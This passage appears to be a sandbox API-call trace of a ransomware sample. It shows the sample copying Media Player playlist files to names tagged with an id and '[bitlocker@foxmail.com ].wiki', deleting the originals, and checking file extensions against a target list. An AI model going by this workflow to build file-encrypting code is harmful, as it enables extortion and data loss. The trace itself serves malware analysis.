playlists\\en-us\\0000e713\\01_music_auto_rated_at_5_stars.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0180.385] GetLastError () returned 0x0 [0180.385] ReadFile (in: hFile=0x320, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x414, lpOverlapped=0x0) returned 1 [0180.387] WriteFile (in: hFile=0x1b4, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0x420, lpOverlapped=0x0) returned 1 [0180.388] ReadFile (in: hFile=0x320, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0180.388] WriteFile (in: hFile=0x1b4, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0x118, lpOverlapped=0x0) returned 1 [0180.388] SetEndOfFile (hFile=0x1b4) returned 1 [0180.388] CloseHandle (hObject=0x1b4) returned 1 [0180.388] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.388] SetEndOfFile (hFile=0x320) returned 1 [0180.389] CloseHandle (hObject=0x320) returned 1 [0180.389] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.389] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\01_music_auto_rated_at_5_stars.wpl")) returned 1 [0180.389] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl") returned 131 [0180.389] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl") returned 131 [0180.390] lstrlenW (lpString=".doc") returned 4 [0180.390] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0180.390] lstrlenW (lpString=".docx") returned 5 [0180.390] lstrcmpiW (lpString1=".docx", lpString2="s.wpl") returned -1 [0180.390] lstrlenW (lpString=".pdf") returned 4 [0180.390] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0180.390] lstrlenW (lpString=".xls") returned 4 [0180.390] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0180.390] lstrlenW (lpString=".xlsx") returned 5 [0180.390] lstrcmpiW (lpString1=".xlsx", lpString2="s.wpl") returned -1 [0180.390] lstrlenW (lpString=".ppt") returned 4 [0180.390] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0180.390] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl") returned 131 [0180.390] lstrlenW (lpString=".zip") returned 4 [0180.390] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0180.390] lstrlenW (lpString=".rar") returned 4 [0180.390] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0180.390] lstrlenW (lpString=".bz2") returned 4 [0180.390] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0180.390] lstrlenW (lpString=".7z") returned 3 [0180.390] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0180.390] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl") returned 131 [0180.390] lstrlenW (lpString=".dbf") returned 4 [0180.390] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0180.390] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl") returned 131 [0180.390] lstrlenW (lpString=".1cd") returned 4 [0180.390] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0180.390] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl") returned 131 [0180.390] lstrlenW (lpString=".jpg") returned 4 [0180.390] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0180.391] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl") returned 131 [0180.391] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl") returned 131 [0180.391] lstrlenW (lpString=".doc") returned 4 [0180.391] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0180.391] lstrlenW (lpString=".docx") returned 5 [0180.391] lstrcmpiW (lpString1=".docx", lpString2="s.wpl") returned -1 [0180.391] lstrlenW (lpString=".pdf") returned 4 [0180.391] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0180.391] lstrlenW (lpString=".xls") returned 4 [0180.391] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0180.391] lstrlenW (lpString=".xlsx") returned 5 [0180.391] lstrcmpiW (lpString1=".xlsx", lpString2="s.wpl") returned -1 [0180.391] lstrlenW (lpString=".ppt") returned 4 [0180.391] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0180.391] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl") returned 131 [0180.391] lstrlenW (lpString=".zip") returned 4 [0180.391] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0180.391] lstrlenW (lpString=".rar") returned 4 [0180.391] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0180.391] lstrlenW (lpString=".bz2") returned 4 [0180.391] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0180.391] lstrlenW (lpString=".7z") returned 3 [0180.391] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0180.391] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl") returned 131 [0180.391] lstrlenW (lpString=".dbf") returned 4 [0180.391] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0180.391] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl") returned 131 [0180.391] lstrlenW (lpString=".1cd") returned 4 [0180.391] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0180.392] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl") returned 131 [0180.392] lstrlenW (lpString=".jpg") returned 4 [0180.392] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0180.392] lstrcmpiW (lpString1=".wpl", lpString2=".wiki") returned 1 [0180.392] lstrlenW (lpString="02_Music_added_in_the_last_month.wpl") returned 36 [0180.392] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\02_music_added_in_the_last_month.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.392] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1279) returned 1 [0180.392] CloseHandle (hObject=0x320) returned 1 [0180.392] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\02_music_added_in_the_last_month.wpl")) returned 0x2020 [0180.392] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\02_music_added_in_the_last_month.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.392] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\02_music_added_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.393] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.393] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.393] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\02_music_added_in_the_last_month.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0180.393] GetLastError () returned 0x0 [0180.393] ReadFile (in: hFile=0x320, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x4ff, lpOverlapped=0x0) returned 1 [0180.734] WriteFile (in: hFile=0x1b4, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0x500, lpOverlapped=0x0) returned 1 [0180.735] ReadFile (in: hFile=0x320, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0180.735] WriteFile (in: hFile=0x1b4, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0x11c, lpOverlapped=0x0) returned 1 [0180.735] SetEndOfFile (hFile=0x1b4) returned 1 [0180.735] CloseHandle (hObject=0x1b4) returned 1 [0180.735] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.735] SetEndOfFile (hFile=0x320) returned 1 [0180.736] CloseHandle (hObject=0x320) returned 1 [0180.736] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.736] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\02_music_added_in_the_last_month.wpl")) returned 1 [0180.736] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl") returned 133 [0180.736] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl") returned 133 [0180.736] lstrlenW (lpString=".doc") returned 4 [0180.736] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0180.736] lstrlenW (lpString=".docx") returned 5 [0180.736] lstrcmpiW (lpString1=".docx", lpString2="h.wpl") returned -1 [0180.736] lstrlenW (lpString=".pdf") returned 4 [0180.736] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0180.737] lstrlenW (lpString=".xls") returned 4 [0180.737] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0180.737] lstrlenW (lpString=".xlsx") returned 5 [0180.737] lstrcmpiW (lpString1=".xlsx", lpString2="h.wpl") returned -1 [0180.737] lstrlenW (lpString=".ppt") returned 4 [0180.737] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0180.737] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl") returned 133 [0180.737] lstrlenW (lpString=".zip") returned 4 [0180.737] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0180.737] lstrlenW (lpString=".rar") returned 4 [0180.737] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0180.737] lstrlenW (lpString=".bz2") returned 4 [0180.737] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0180.737] lstrlenW (lpString=".7z") returned 3 [0180.737] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0180.737] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl") returned 133 [0180.737] lstrlenW (lpString=".dbf") returned 4 [0180.737] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0180.737] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl") returned 133 [0180.737] lstrlenW (lpString=".1cd") returned 4 [0180.737] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0180.737] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl") returned 133 [0180.737] lstrlenW (lpString=".jpg") returned 4 [0180.737] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0180.737] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl") returned 133 [0180.737] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl") returned 133 [0180.737] lstrlenW (lpString=".doc") returned 4 [0180.737] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0180.737] lstrlenW (lpString=".docx") returned 5 [0180.737] lstrcmpiW (lpString1=".docx", lpString2="h.wpl") returned -1 [0180.737] lstrlenW (lpString=".pdf") returned 4 [0180.737] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0180.738] lstrlenW (lpString=".xls") returned 4 [0180.738] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0180.738] lstrlenW (lpString=".xlsx") returned 5 [0180.738] lstrcmpiW (lpString1=".xlsx", lpString2="h.wpl") returned -1 [0180.738] lstrlenW (lpString=".ppt") returned 4 [0180.738] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0180.738] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl") returned 133 [0180.738] lstrlenW (lpString=".zip") returned 4 [0180.738] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0180.738] lstrlenW (lpString=".rar") returned 4 [0180.738] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0180.738] lstrlenW (lpString=".bz2") returned 4 [0180.738] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0180.738] lstrlenW (lpString=".7z") returned 3 [0180.738] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0180.738] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl") returned 133 [0180.738] lstrlenW (lpString=".dbf") returned 4 [0180.738] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0180.738] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl") returned 133 [0180.738] lstrlenW (lpString=".1cd") returned 4 [0180.738] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0180.738] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl") returned 133 [0180.738] lstrlenW (lpString=".jpg") returned 4 [0180.738] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0180.738] lstrcmpiW (lpString1=".wpl", lpString2=".wiki") returned 1 [0180.738] lstrlenW (lpString="11_All_Pictures.wpl") returned 19 [0180.738] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\11_all_pictures.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.739] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=585) returned 1 [0180.739] CloseHandle (hObject=0x320) returned 1 [0180.739] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\11_all_pictures.wpl")) returned 0x2020 [0180.739] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\11_all_pictures.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.739] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\11_all_pictures.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.739] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.739] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.739] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\11_all_pictures.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0180.740] GetLastError () returned 0x0 [0180.740] ReadFile (in: hFile=0x320, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x249, lpOverlapped=0x0) returned 1 [0180.741] WriteFile (in: hFile=0x1b4, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0x250, lpOverlapped=0x0) returned 1 [0180.742] ReadFile (in: hFile=0x320, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0180.742] WriteFile (in: hFile=0x1b4, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0180.742] SetEndOfFile (hFile=0x1b4) returned 1 [0180.742] CloseHandle (hObject=0x1b4) returned 1 [0180.742] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.742] SetEndOfFile (hFile=0x320) returned 1 [0180.743] CloseHandle (hObject=0x320) returned 1 [0180.743] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.743] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\11_all_pictures.wpl")) returned 1 [0180.743] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl") returned 116 [0180.743] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl") returned 116 [0180.743] lstrlenW (lpString=".doc") returned 4 [0180.743] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0180.743] lstrlenW (lpString=".docx") returned 5 [0180.743] lstrcmpiW (lpString1=".docx", lpString2="s.wpl") returned -1 [0180.743] lstrlenW (lpString=".pdf") returned 4 [0180.743] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0180.743] lstrlenW (lpString=".xls") returned 4 [0180.743] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0180.744] lstrlenW (lpString=".xlsx") returned 5 [0180.744] lstrcmpiW (lpString1=".xlsx", lpString2="s.wpl") returned -1 [0180.744] lstrlenW (lpString=".ppt") returned 4 [0180.744] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0180.744] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl") returned 116 [0180.744] lstrlenW (lpString=".zip") returned 4 [0180.744] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0180.744] lstrlenW (lpString=".rar") returned 4 [0180.744] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0180.744] lstrlenW (lpString=".bz2") returned 4 [0180.744] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0180.744] lstrlenW (lpString=".7z") returned 3 [0180.744] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0180.744] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl") returned 116 [0180.744] lstrlenW (lpString=".dbf") returned 4 [0180.744] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0180.744] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl") returned 116 [0180.744] lstrlenW (lpString=".1cd") returned 4 [0180.744] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0180.744] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl") returned 116 [0180.744] lstrlenW (lpString=".jpg") returned 4 [0180.744] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0180.744] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl") returned 116 [0180.744] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl") returned 116 [0180.744] lstrlenW (lpString=".doc") returned 4 [0180.744] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0180.744] 